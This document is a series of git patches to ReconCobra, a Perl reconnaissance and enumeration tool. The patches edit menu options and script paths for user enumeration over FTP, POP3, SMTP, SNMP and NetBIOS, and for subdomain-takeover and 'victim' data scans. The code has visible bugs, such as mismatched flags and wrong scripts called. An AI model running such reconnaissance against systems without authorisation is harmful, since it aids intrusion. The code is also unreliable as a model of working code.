Update README.md --- README.md | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index 854be6b..1ef5807 100644 --- a/README.md +++ b/README.md @@ -55,15 +55,11 @@ EULA - Dependencies will be handled automatically for Termux - Third party software(s)/dependencies/modules will be handled automatically for Termux -# NO Stand-alone -- If you still need stand-alone for whatever reason: -- STEP1: First git clone then goto folder -- STEP2: chmod u+x *.sh -- STEP3: installer.sh for Kali -- STEP4: termuxinstaller.sh for Termux -- STEP5: copy all files/folders into /usr/share/ReconCobra -- STEP6: In same folder do use perl now -- STEP7: perl ReconCobra.pl +# Running in Kali +- ReconCobra + +# Running in Termux +- perl ReconCobratermux.pl # Mail - mrharoonawan@gmail.com From 1df2fefdc0f1e4bc7a9e8564522707b4402ef01f Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 15:39:01 +0500 Subject: [PATCH 093/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 1ef5807..a4ffff7 100644 --- a/README.md +++ b/README.md @@ -51,7 +51,7 @@ EULA - cd Reconcobra - chmod u+x *.sh - ./termuxinstaller.sh -- ReconCobra will integrate as system software for Termux +- perl ReconCobratermux.pl - Dependencies will be handled automatically for Termux - Third party software(s)/dependencies/modules will be handled automatically for Termux From d42d5a45119a7328c6229968de6bd17c134fc3bd Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 15:40:49 +0500 Subject: [PATCH 094/272] Add files via upload From 8dd7bb34b40c38e47582aab38e9136f6796f0629 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 15:40:57 +0500 Subject: [PATCH 095/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index a4ffff7..0e68f12 100644 --- a/README.md +++ b/README.md @@ -59,7 +59,7 @@ EULA - ReconCobra # Running in Termux -- perl ReconCobratermux.pl +- perl ReconCobraTermux.pl # Mail - mrharoonawan@gmail.com From eeee1263fb4772c05a551580de5e1d1cece8a5f8 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 15:43:22 +0500 Subject: [PATCH 096/272] Update ReconCobraTermux.pl --- ReconCobraTermux.pl | 390 +++++++++++--------------------------------- 1 file changed, 95 insertions(+), 295 deletions(-) diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index 5ae060f..49fa512 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -117,10 +117,6 @@ "aj|domaincert=s" => \$domainCertificate, "ak|apisubdomain=s" => \$apisubdomain, "al|cname=s" => \$cname, - "am|endpoints=s" => \$endpoints, - "an|cors=s" => \$cors, - "ao|wayback=s" => \$wayback, - "ap|linkfinder=s" => \$linkfinder, ); if ($help) { banner();help(); } @@ -190,10 +186,6 @@ if ($dcse) { banner();DomainCertificate(); } if ($apisubdomain) { banner();Apisubdomain(); } if ($cname) { banner();Cname(); } -if ($endpoints) { banner();endpoints(); } -if ($cors) { banner();cors(); } -if ($wayback) { banner();wayback(); } -if ($wayback) { banner();linkfinder(); } unless (@ARGV > 1) { banner();menu(); } @@ -605,32 +597,6 @@ sub help { print color('bold red')," => "; print color("bold white"),"reconcobra -an site.com"; print color('bold cyan')," # \n",line_d(); - - print color('bold cyan'),"# "; - print item('67'),"Endpoints Extraction "; - print color('bold red')," => "; - print color("bold white"),"reconcobra -ao site.com"; - print color('bold cyan')," # \n",line_d(); - - print color('bold cyan'),"# "; - print item('68'),"Check misconfigured Cross Origin Resource Sharing "; - print color('bold red')," => "; - print color("bold white"),"reconcobra -ap site.com"; - print color('bold cyan')," # \n",line_d(); - - print color('bold cyan'),"# "; - print item('69'),"Wayback Web Downloader "; - print color('bold red')," => "; - print color("bold white"),"reconcobra -ar site.com"; - print color('bold cyan')," # \n",line_d(); - - print color('bold cyan'),"# "; - print item('70'),"Link Finder "; - print color('bold red')," => "; - print color("bold white"),"reconcobra -ao site.com"; - print color('bold cyan')," # \n",line_d(); - - } #--------------------------------------------------------------# @@ -742,10 +708,6 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('64'),"Domain Certificate Subdomain Enumeration";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('65'),"Find Subdomains using API Searcher ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('66'),"Find Cname Information of netblock ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('67'),"Endpoint Extraction ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('68'),"Check misconfigured Cross Origin Resource Sharing ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Find Link & Analyse ( local and remote ) ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); @@ -1084,9 +1046,9 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - #chomp($eufs=); + chomp($eufs=); print "\n"; - Extractusersfromsmtp(); + #Extractusersfromsmtp(); enter(); }if($number eq '39'){ banner(); @@ -1099,10 +1061,10 @@ sub menu { enter(); }if($number eq '40'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target IP ";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - #chomp($efpifs=); + chomp($efpifs=); print "\n"; Extractfullpossibleinformationfromsnmp(); enter(); @@ -1192,7 +1154,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - #chomp($pasds=); + chomp($pasds=); print "\n"; Usecommoncrawlontarget(); enter(); @@ -1336,38 +1298,6 @@ sub menu { print "\n"; Cname(); enter(); - }if($number eq '67'){ - banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); - print color('bold green'),"\n\nc0bra: _> "; - print color('bold white'); - print "\n"; - endpoints(); - enter(); - }if($number eq '68'){ - banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); - print color('bold green'),"\n\nc0bra: _> "; - print color('bold white'); - print "\n"; - cors(); - enter(); - }if($number eq '69'){ - banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); - print color('bold green'),"\n\nc0bra: _> "; - print color('bold white'); - print "\n"; - wayback(); - enter(); - }if($number eq '69'){ - banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); - print color('bold green'),"\n\nc0bra: _> "; - print color('bold white'); - print "\n"; - linkfinder(); - enter(); } if($number eq '0'){ exit; @@ -1884,7 +1814,7 @@ sub Websiterecon { #15 Metadata Crawler # #--------------------------------------------------------------# sub Metadatacrawler { -if (system("usr/share/ReconCobra/coba.sh") == 0) { +if (system("./coba.sh") == 0) { print "Success!\n"; } else { @@ -1896,7 +1826,7 @@ sub Metadatacrawler { #16 Metadata Googler # #--------------------------------------------------------------# sub Metadatagoogler { -if (system("usr/share/ReconCobra/cobb.sh") == 0) { +if (system("./cobb.sh") == 0) { print "Success! \n"; print "Downlaoded meta files are stored in downloaded_meta_files directory \n"; print "Results are stored in metacrawler_results directory \n"; @@ -1916,16 +1846,16 @@ sub Subdomainscanner { print item(),"Enter Search Engine: "; chomp($enter=); if ($enter =~1) { - if (system("usr/share/ReconCobra/ShaheenX.sh") == 0) { - print item(), "success!\n"; + if (system("./ShaheenX.sh") == 0) { + print "success!\n"; } else { print "[~] Make ShaheenX.sh available in same folder\n[~] Command failed\n"; } } if ($enter =~2) { - if (system("usr/share/ReconCobra/sub1.sh") == 0) { - print item(), "success!\n"; + if (system("./sub1.sh") == 0) { + print "success!\n"; } else { print "[~] Make sub1.sh available in same folder\n[~] Command failed\n"; @@ -1938,8 +1868,8 @@ sub Subdomainscanner { #18 Subdomain Takeover Scanner # #--------------------------------------------------------------# sub Subdomaintakeover { -if (system("usr/share/ReconCobra/takeoverscanner.sh") == 0) { - print item(), "success!\n"; +if (system("./takeoverscanner.sh") == 0) { + print "success!\n"; } else { print "[~] Make takoverscanner.sh available in same folder\n[~] Command failed\n"; @@ -1952,8 +1882,8 @@ sub Subdomaintakeover { #19 Brute Subdomains # #--------------------------------------------------------------# sub Brutedomain { -if (system("usr/share/ReconCobra/maahro.sh") == 0) { - print item(), "success!\n"; +if (system("./maahro.sh") == 0) { + print "success!\n"; } else { print "[~] Make maahro.sh available in same folder\n[~] Command failed\n"; @@ -1968,7 +1898,7 @@ sub Brutednsdomain { print item(),"Browse panthera folder for wordllist files and provide given file list\n"; sleep(5); if (system("perl panthera/dnsbrute.pl") == 0) { - print item(), "success!\n"; + print "success!\n"; } else { print "[~] Make Panthera available in same folder\n[~] Command failed\n"; @@ -1980,8 +1910,8 @@ sub Brutednsdomain { #21 Configuration Errors # #--------------------------------------------------------------# sub Configerrors { -if (system("usr/share/ReconCobra/browser.sh") == 0) { - print item(), "success!\n"; +if (system("./browser.sh") == 0) { + print "success!\n"; } else { print "[~] Make browser.sh in same folder\n[~] Command failed\n"; @@ -1992,7 +1922,7 @@ sub Configerrors { #22 Find ASN # #--------------------------------------------------------------# sub Findasn { -if (system("usr/share/ReconCobra/findasn.sh") == 0) { +if (system("./findasn.sh") == 0) { print "success, file written input.txt!\n"; } else { @@ -2004,8 +1934,8 @@ sub Findasn { #23 Find Netblocks # #--------------------------------------------------------------# sub Findnetblock { -if (system("usr/share/ReconCobra/netblock.sh") == 0) { - print item(), "success!\n"; +if (system("./netblock.sh") == 0) { + print "success!\n"; } else { print "[~] Make netblock.sh in same folder\n[~] Command failed\n"; @@ -2018,8 +1948,8 @@ sub Findnetblock { #24 Capture Screenshots # #--------------------------------------------------------------# sub Capturescreenshots { -if (system("usr/share/ReconCobra/screenshot.sh") == 0) { - print item(), "success!\n"; +if (system("./screenshot.sh") == 0) { + print "success!\n"; } else { print "[~] Make screenshost.sh in same folder\n[~] Command failed\n"; @@ -2031,8 +1961,8 @@ sub Capturescreenshots { #25 Find Nearest Servers to Target # #--------------------------------------------------------------# sub nearestvictim { -if (system("usr/share/ReconCobra/bile.sh") == 0) { - print item(), "success!\n"; +if (system("./bile.sh") == 0) { + print "success!\n"; } else { print "[~] Make bile.sh in same folder\n[~] Command failed\n"; @@ -2045,8 +1975,8 @@ sub nearestvictim { #26 Sweep Netblocks and Resolve # #--------------------------------------------------------------# sub Sweepandnetblock() { -if (system("usr/share/ReconCobra/resolve.sh") == 0) { - print item(), "success!\n"; +if (system("./resolve.sh") == 0) { + print "success!\n"; } else { print "[~] Make resolve.sh in same folder\n[~] Command failed\n"; @@ -2061,7 +1991,7 @@ sub Panthera { print item(), "Enter the Panthera Perl Script with path to Load: "; $file=; if (system("perl $file") == 0) { - print item(), "success!\n"; + print "success!\n"; } else { print "[~] Make Panthera file available in same folder\n[~] Command failed\n"; @@ -2074,8 +2004,8 @@ sub Panthera { #28 Find Emails and Names # #--------------------------------------------------------------# sub Findemailsandnames { -if (system("usr/share/ReconCobra/email.sh") == 0) { - print item(), "success!\n"; +if (system("./email.sh") == 0) { + print "success!\n"; } else { print "[~] Make email.sh in same folder\n[~] Command failed\n"; @@ -2088,8 +2018,8 @@ sub Findemailsandnames { #29 Find Contact Information # #--------------------------------------------------------------# sub Findcontactinformation { -if (system("usr/share/ReconCobra/theharvester.sh") == 0) { - print item(), "success!\n"; +if (system("./theharvester.sh") == 0) { + print "success!\n"; } else { print "[~] Did you forget to install the harvester\n[~] Command failed\n"; @@ -2101,8 +2031,8 @@ sub Findcontactinformation { #30 Common Nmap Port Scan # #--------------------------------------------------------------# sub Commonnmapportscan { -if (system("usr/share/ReconCobra/nmapcommonscan.sh") == 0) { - print item(), "success!\n"; +if (system("./nmapcommonscan.sh") == 0) { + print "success!\n"; } else { print "[~] Did you forget the make input.txt from nmap \n[~] Command failed\n"; @@ -2116,19 +2046,19 @@ sub Commonnmapportscan { sub Pinghopandinternalnetworks { print "\n",item(),"Peform three types of Firewalk scan"; print "\n",item(),"Results will be saved in Firewalk_results\n"; -if (system("usr/share/ReconCobra/firewalka.sh") == 0) { +if (system("./firewalka.sh") == 0) { print item(),"success!\n"; } else { print item(),"Command failed\n"; } -if (system("usr/share/ReconCobra/firewalkb.sh") == 0) { +if (system("./firewalkb.sh") == 0) { print item(),"success!\n"; } else { print item(),"Command failed\n"; } -if (system("usr/share/ReconCobra/firewalkc.sh") == 0) { +if (system("./firewalkc.sh") == 0) { print item(),"Command failed\n"; } else { @@ -2170,7 +2100,7 @@ sub Findinternalnetworkssandsweep { #33 Decoy Scan & Generate Metasploit Data # #--------------------------------------------------------------# sub Decoayscanandgeneratemetasploitdata { -if (system("usr/share/ReconCobra/resolve.sh") == 0) { +if (system("./resolve.sh") == 0) { print "\n",item(),"success!\n"; } else { @@ -2205,8 +2135,8 @@ sub Findsslbugsandinformation { } print "\n\n\n"; print item(), "Starting SSL protocol check\n\n"; -if (system("usr/share/ReconCobra/ssl.sh $fsbi") == 0) { - print item(), "success!\n"; +if (system("./ssl.sh $fsbi") == 0) { + print "success!\n"; } else { print "\n",item(),"Make ssl.sh in same folder\n"; @@ -2219,8 +2149,8 @@ sub Findsslbugsandinformation { #35 Extract Users via FTP # #--------------------------------------------------------------# sub Extractusersfromftp { -if (system("usr/share/ReconCobra/ftp.sh") == 0) { - print item(), "success!\n"; +if (system("./ftp.sh") == 0) { + print "success!\n"; } else { print "[~] Make ftp.sh available in same folder\n[~] Command failed\n"; @@ -2232,8 +2162,8 @@ sub Extractusersfromftp { # 36 Extract Users via POP3 # #--------------------------------------------------------------# sub Extractusersfrompop3 { -if (system("usr/share/ReconCobra/pop3.sh") == 0) { - print item(), "success!\n"; +if (system("./pop3.sh") == 0) { + print "success!\n"; } else { print "\n",item(),"Make pop3.sh in same folder\n"; @@ -2245,11 +2175,11 @@ sub Extractusersfrompop3 { # 37 Extract Users via IMAP # #--------------------------------------------------------------# sub Extractusersfromimap { - if (system("usr/share/ReconCobra/imap.sh") == 0) { - print item(), "success!\n"; + if (system("./pop3.sh") == 0) { + print "success!\n"; } else { - print "\n",item(),"Make imap.sh in same folder\n"; + print "\n",item(),"Make pop3.sh in same folder\n"; print "\n",item(),"Command failed\n"; } } @@ -2259,12 +2189,11 @@ sub Extractusersfromimap { # 38 Extract Users via SMTP # #--------------------------------------------------------------# sub Extractusersfromsmtp { - if (system("usr/share/ReconCobra/smtp.sh") == 0) { - print item(), "success!\n"; + if (system("./pop3.sh") == 0) { + print "success!\n"; } else { - print "\n",item(),"Make smtp.sh in same folder\n"; - print "\n",item(),"Command failed\n"; + print "[~] Make ftp.sh available in same folder\n[~] Command failed\n"; } } @@ -2273,11 +2202,11 @@ sub Extractusersfromsmtp { #39 Extract Users via Form # #--------------------------------------------------------------# sub Extractusersfromform { - if (system("usr/share/ReconCobra/http-form.sh") == 0) { - print item(), "success!\n"; + if (system("./http-form.sh") == 0) { + print "success!\n"; } else { - print "[~] Make http-form.sh available in same folder\n[~] Command failed\n"; + print "[~] Make ftp.sh available in same folder\n[~] Command failed\n"; } { print item(), "Enter the injection variable\n"; @@ -2301,56 +2230,21 @@ sub Extractusersfromform { #40 Extract Full Possible Information via SNMP # #--------------------------------------------------------------# sub Extractfullpossibleinformationfromsnmp { - print "\n", item(),"1 - Use SNMP version 1 using public string"; - print "\n", item(),"2 - Use SNMP version 1 using private string"; - print "\n", item(),"3 - Use SNMP version 2 using public string"; - print "\n", item(),"4 - Use SNMP version 2 using private string"; - print "\n", item(),"Enter Option: "; - chomp($enter=); - if ($enter =~1) { - if (system("usr/share/ReconCobra/snmp1.sh") == 0) { - print item(), "success!\n"; - } - else { - print "\n", item(),"Make snmp1.sh available in same folder"; - print "\n", item(),"Command failed"; - } - } - if ($enter =~2) { - if (system("usr/share/ReconCobra/snmp2.sh") == 0) { - print item(), "success!\n"; - } - else { - print "\n", item(),"Make snmp2.sh available in same folder"; - print "\n", item(),"Command failed"; - } - } - if ($enter =~3) { - if (system("usr/share/ReconCobra/snmp3.sh") == 0) { - print item(), "success!\n"; + if (system("./snmp.sh") == 0) { + print "success!\n"; } else { - print "\n", item(),"Make snmp3.sh available in same folder"; - print "\n", item(),"Command failed"; + print "[~] Make snmp.sh available in same folder\n[~] Command failed\n"; } - } - if ($enter =~4) { - if (system("usr/share/ReconCobra/snmp4.sh") == 0) { - print item(), "success!\n"; - } - else { - print "\n", item(),"Make snmp4.sh available in same folder"; - print "\n", item(),"Command failed"; - } - } } + #--------------------------------------------------------------# #41 Extract Possible Information from Certificates # #--------------------------------------------------------------# sub Extractpossibleinformationfromcertificaties { - if (system("usr/share/ReconCobra/crtstart.sh ") == 0) { - print item(), "success!\n"; + if (system("./crtstart.sh ") == 0) { + print "success!\n"; } else { print "[~] Make crt.sh available in same folder\n[~] Command failed\n"; @@ -2362,8 +2256,8 @@ sub Extractpossibleinformationfromcertificaties { #42 Find Victim HTTPS Leaked Data # #--------------------------------------------------------------# sub Findvictimhttpsleakeddata { - if (system("usr/share/ReconCobra/inteli.sh") == 0) { - print item(), "success!\n"; + if (system("./inteli.sh") == 0) { + print "success!\n"; } else { print "[~] Make inteli.sh available in same folder\n[~] Command failed\n"; @@ -2377,8 +2271,8 @@ sub Findvictimhttpsleakeddata { #43Find Users via sitemap # #--------------------------------------------------------------# sub Findusersfromsitemap { - if (system("usr/share/ReconCobra/sitemap.sh") == 0) { - print item(), "success!\n"; + if (system("./sitemap.sh") == 0) { + print "success!\n"; } else { print "[~] Make sitemap.sh available in same folder\n[~] Command failed\n"; @@ -2391,8 +2285,8 @@ sub Findvictimhttpsleakeddata { #44Find Directories from robots.txt # #--------------------------------------------------------------# sub Finddirectoriesfromrobots { - if (system("usr/share/ReconCobra/sitemap.sh") == 0) { - print item(), "success!\n"; + if (system("./sitemap.sh") == 0) { + print "success!\n"; } else { print "[~] Make sitemap.sh available in same folder\n[~] Command failed\n"; @@ -2432,8 +2326,8 @@ sub Findallaccountsfromuser { #46 Facebook Intelligence Gathering email # #--------------------------------------------------------------# sub Findallaccountsfromemail { - if (system("usr/share/ReconCobra/sss.sh") == 0) { - print item(), "success!\n"; + if (system("./sss.sh") == 0) { + print "success!\n"; } else { print "[~] Make sss.sh available in same folder\n[~] Command failed\n"; @@ -2445,8 +2339,8 @@ sub Findallaccountsfromemail { #47 Find all tags by account # #--------------------------------------------------------------# sub Findalltagsfromaccount { - if (system("usr/share/ReconCobra/fb.sh") == 0) { - print item(), "success!\n"; + if (system("./fb.sh") == 0) { + print "success!\n"; } else { print "[~] Make fb.sh available in same folder\n[~] Command failed\n"; @@ -2589,8 +2483,8 @@ sub Dnshistory { #49 Passive DNS Search # #--------------------------------------------------------------# sub Passivednssearch { - if (system("usr/share/ReconCobra/passive.sh") == 0) { - print item(), "success!\n"; + if (system("./passive.sh") == 0) { + print "success!\n"; } else { print "[~] Make passive.sh available in same folder\n[~] Command failed\n"; @@ -2602,29 +2496,13 @@ sub Passivednssearch { #50 Use Common Crawl on Target # #--------------------------------------------------------------# sub Usecommoncrawlontarget { - print "\n", item(),"Download website using common crawl: "; - print "\n", item(),"Use JSON reader to understand JSON file structure: "; - print "\n", item(),"Enter Option: "; - chomp($enter=); - if ($enter =~1) { - if (system("usr/share/ReconCobra/common1.sh") == 0) { - print item(), "success!\n"; - print item(), "Results are saved in json-results folder\n"; + if (system("./common.sh") == 0) { + print "success!\n"; } else { - print item(), "Make common1.sh available in same folder\n"; + print item(), "Make common.sh available in same folder\n"; print item(), "Command failed\n"; - } - } - if ($enter =~2) { - if (system("usr/share/ReconCobra/common2.sh") == 0) { - print item(), "success!\n"; - print item(), "Results are saved in json-results folder\n"; - } - else { - print item(), "Make common2.sh available in same folder\n"; - print item(), "Command failed\n"; - } + } } @@ -2636,7 +2514,7 @@ sub hostnametoip { print item(), "Look for required provider with hostnametoip.txt format\n"; print item(), "Loading\n"; sleep(7); - if (system("usr/share/ReconCobra/hostnametoip.sh") == 0) { + if (system("./hostnametoip.sh") == 0) { print item(), "success!\n"; } else { @@ -2749,14 +2627,14 @@ sub Wingensipc { 1E: Browser Service Elections /; - if (system("usr/share/ReconCobra/smbclient1.sh") == 0) { + if (system("./smbclient1.sh") == 0) { print item(),"success!\n"; } else { print item(),"Command failed\n"; } - if (system("usr/share/ReconCobra/enumdom.sh") == 0) { + if (system("./enumdom.sh") == 0) { print item(),"success!\n"; print item(),"Write down hexadecimals then query, e.g., queryuser 0x3e8!\n"; } @@ -2771,7 +2649,7 @@ sub Wingensipc { #56 Win - Gather Full Information via Netbios # #--------------------------------------------------------------# sub Wingfivnetbios { - if (system("usr/share/ReconCobra/smbvul.sh") == 0) { + if (system("./smbvul.sh") == 0) { print item(),"success!\n"; } else { @@ -2792,13 +2670,13 @@ sub Wingfivnetbios { #57 Win - Connect to Open Netbios # #--------------------------------------------------------------# sub Winctonetbios { - if (system("usr/share/ReconCobra/smbclient.sh") == 0) { + if (system("./smbclient.sh") == 0) { print item(),"success!\n"; } else { print item(),"Command failed\n"; } - if (system("usr/share/ReconCobra/smbclient2.sh ") == 0) { + if (system("./smbclient2.sh ") == 0) { print item(),"success!\n"; } else { @@ -2816,7 +2694,7 @@ sub Winctonetbios { #--------------------------------------------------------------# sub Ips { if (system("perl sixth.pl -d google.com -t $ips -s 1 -f 65535 -i wlan0") == 0) { - print item(), "success!\n"; + print "success!\n"; } else { print item(),"Command failed\n"; @@ -2954,7 +2832,7 @@ sub convert } print item(),"IP for binary conversion is: "; -system("usr/share/ReconCobra/ip2bin.sh"); +system("./ip2bin.sh"); } @@ -2996,8 +2874,8 @@ sub MDSSE { print item(),"Enter Option: "; chomp($enter=); if ($enter =~1) { - if (system("usr/share/ReconCobra/mdsse.sh") == 0) { - print item(), "success!\n"; + if (system("./mdsse.sh") == 0) { + print "success!\n"; } else { print item(),"Make mdsse.sh available in same folder\n"; @@ -3005,8 +2883,8 @@ sub MDSSE { } } if ($enter =~2) { - if (system("usr/share/ReconCobra/nmapasnlookup.sh") == 0) { - print item(), "success!\n"; + if (system("./nmapasnlookup.sh") == 0) { + print "success!\n"; } else { print item(),"Make nmapasnlookup.sh available in same folder\n"; @@ -3028,7 +2906,7 @@ () print item(),"Enter Certificate Search Engine: "; chomp($enter=); if ($enter =~1) { - if (system("usr/share/ReconCobra/crtstart.sh") == 0) { + if (system("./crtstart.sh") == 0) { print item(),"success! Find results at crt folder\n"; } else { @@ -3038,7 +2916,7 @@ () } } if ($enter =~2) { - if (system("usr/share/ReconCobra/googlegct.sh") == 0) { + if (system("./googlegct.sh") == 0) { print item(),"success! Find results at crt folder\n"; } else { @@ -3049,7 +2927,7 @@ () } if ($enter =~3) { - if (system("usr/share/ReconCobra/certspot.sh") == 0) { + if (system("./certspot.sh") == 0) { print item(),"success! Find results at crt folder\n"; } else { @@ -3060,7 +2938,7 @@ () } if ($enter =~4) { - if (system("usr/share/ReconCobra/entrust.sh") == 0) { + if (system("./entrust.sh") == 0) { print item(),"success! Find results at crt folder\n"; } else { @@ -3081,7 +2959,7 @@ () print item(),"Enter API Search Engine: "; chomp($enter=); if ($enter =~1) { - if (system("usr/share/ReconCobra/vasl.sh") == 0) { + if (system("./vasl.sh") == 0) { print item(),"success!\n"; } else { @@ -3089,7 +2967,7 @@ () } } if ($enter =~2) { - if (system("usr/share/ReconCobra/censys.sh") == 0) { + if (system("./censys.sh") == 0) { print item(),"success!\n"; } else { @@ -3097,7 +2975,7 @@ () } } if ($enter =~3) { - if (system("usr/share/ReconCobra/virustotal.sh") == 0) { + if (system("./virustotal.sh") == 0) { print item(),"success!\n"; } else { @@ -3114,7 +2992,7 @@ () print item(),"Enter desired subnet/ip/net-block or cidr for cname information\n"; print item(),"Loading\n"; sleep(5); - if (system("usr/share/ReconCobra/cname.sh") == 0) { + if (system("./cname.sh") == 0) { print item(),"success!\n"; } else { @@ -3124,84 +3002,6 @@ () } -#--------------------------------------------------------------# -#67 Extraction Endpoints # -#--------------------------------------------------------------# -sub endpoints() { - if (system("usr/share/ReconCobra/endpoint_extraction.sh") == 0) { - print item(),"success!\n"; - print item(),"Results are saved in endpoint_extraction_results folder\n"; - } - else { - print item(),"Make endpoint_extraction.sh available in same folder\n"; - print item(),"Command failed\n"; - } -} - - -#--------------------------------------------------------------# -#68 Testing CORS # -#--------------------------------------------------------------# -sub cors() { - if (system("usr/share/ReconCobra/cors.sh") == 0) { - print item(),"success!\n"; - } - else { - print item(),"Make cors.sh available in same folder\n"; - print item(),"Command failed\n"; - } -} - - -#--------------------------------------------------------------# -#69 Wayback URL Download # -#--------------------------------------------------------------# -sub wayback() { - print item(),"Catuion: Downloading URL may take a while\n"; - if (system("usr/share/ReconCobra/wayback.sh") == 0) { - print item(),"success!\n"; - print item(),"Results are saved in wayback_results folder\n"; - } - else { - print item(),"Make wayback.sh available in same folder\n"; - print item(),"Command failed\n"; - } -} - - -#--------------------------------------------------------------# -#70 Link Finder # -#--------------------------------------------------------------# -sub linkfinder() { - print item(),"Catuion: Downloading JS files may take a while\n"; - print item(),"1 - Use JS Crawler and Downloader\n"; - print item(),"2 - Use LinkFinder: "; - chomp($enter=); - if ($enter =~1) { - if (system("usr/share/ReconCobra/linkfinder1.sh") == 0) { - print item(),"success!\n"; - print item(),"Results are saved in linkfinder_results folder\n"; - } - else { - print item(),"Make linkfinder1.sh available in same folder\n"; - print item(),"Command failed\n"; - } - } - if ($enter =~2) { - if (system("usr/share/ReconCobra/linkfinder2.sh") == 0) { - print item(),"success!\n"; - print item(),"Results are saved in linkfinder_results folder\n"; - } - else { - print item(),"Make linkfinder2.sh available in same folder\n"; - print item(),"Command failed\n"; - } - } -} - - - - #--------------------------------------------------------------# # Enter # #--------------------------------------------------------------# From 9d2c124d51b4220dbeefea0b6560ce76978e01da Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 15:45:30 +0500 Subject: [PATCH 097/272] Update ReconCobraTermux.pl --- ReconCobraTermux.pl | 298 ++++++++++++++++++++++++++++++++++++-------- 1 file changed, 249 insertions(+), 49 deletions(-) diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index 49fa512..62942ac 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -117,6 +117,10 @@ "aj|domaincert=s" => \$domainCertificate, "ak|apisubdomain=s" => \$apisubdomain, "al|cname=s" => \$cname, + "am|endpoints=s" => \$endpoints, + "an|cors=s" => \$cors, + "ao|wayback=s" => \$wayback, + "ap|linkfinder=s" => \$linkfinder, ); if ($help) { banner();help(); } @@ -186,6 +190,10 @@ if ($dcse) { banner();DomainCertificate(); } if ($apisubdomain) { banner();Apisubdomain(); } if ($cname) { banner();Cname(); } +if ($endpoints) { banner();endpoints(); } +if ($cors) { banner();cors(); } +if ($wayback) { banner();wayback(); } +if ($wayback) { banner();linkfinder(); } unless (@ARGV > 1) { banner();menu(); } @@ -597,6 +605,32 @@ sub help { print color('bold red')," => "; print color("bold white"),"reconcobra -an site.com"; print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('67'),"Endpoints Extraction "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ao site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('68'),"Check misconfigured Cross Origin Resource Sharing "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ap site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('69'),"Wayback Web Downloader "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ar site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('70'),"Link Finder "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ao site.com"; + print color('bold cyan')," # \n",line_d(); + + } #--------------------------------------------------------------# @@ -708,6 +742,10 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('64'),"Domain Certificate Subdomain Enumeration";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('65'),"Find Subdomains using API Searcher ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('66'),"Find Cname Information of netblock ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('67'),"Endpoint Extraction ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('68'),"Check misconfigured Cross Origin Resource Sharing ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Find Link & Analyse ( local and remote ) ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold 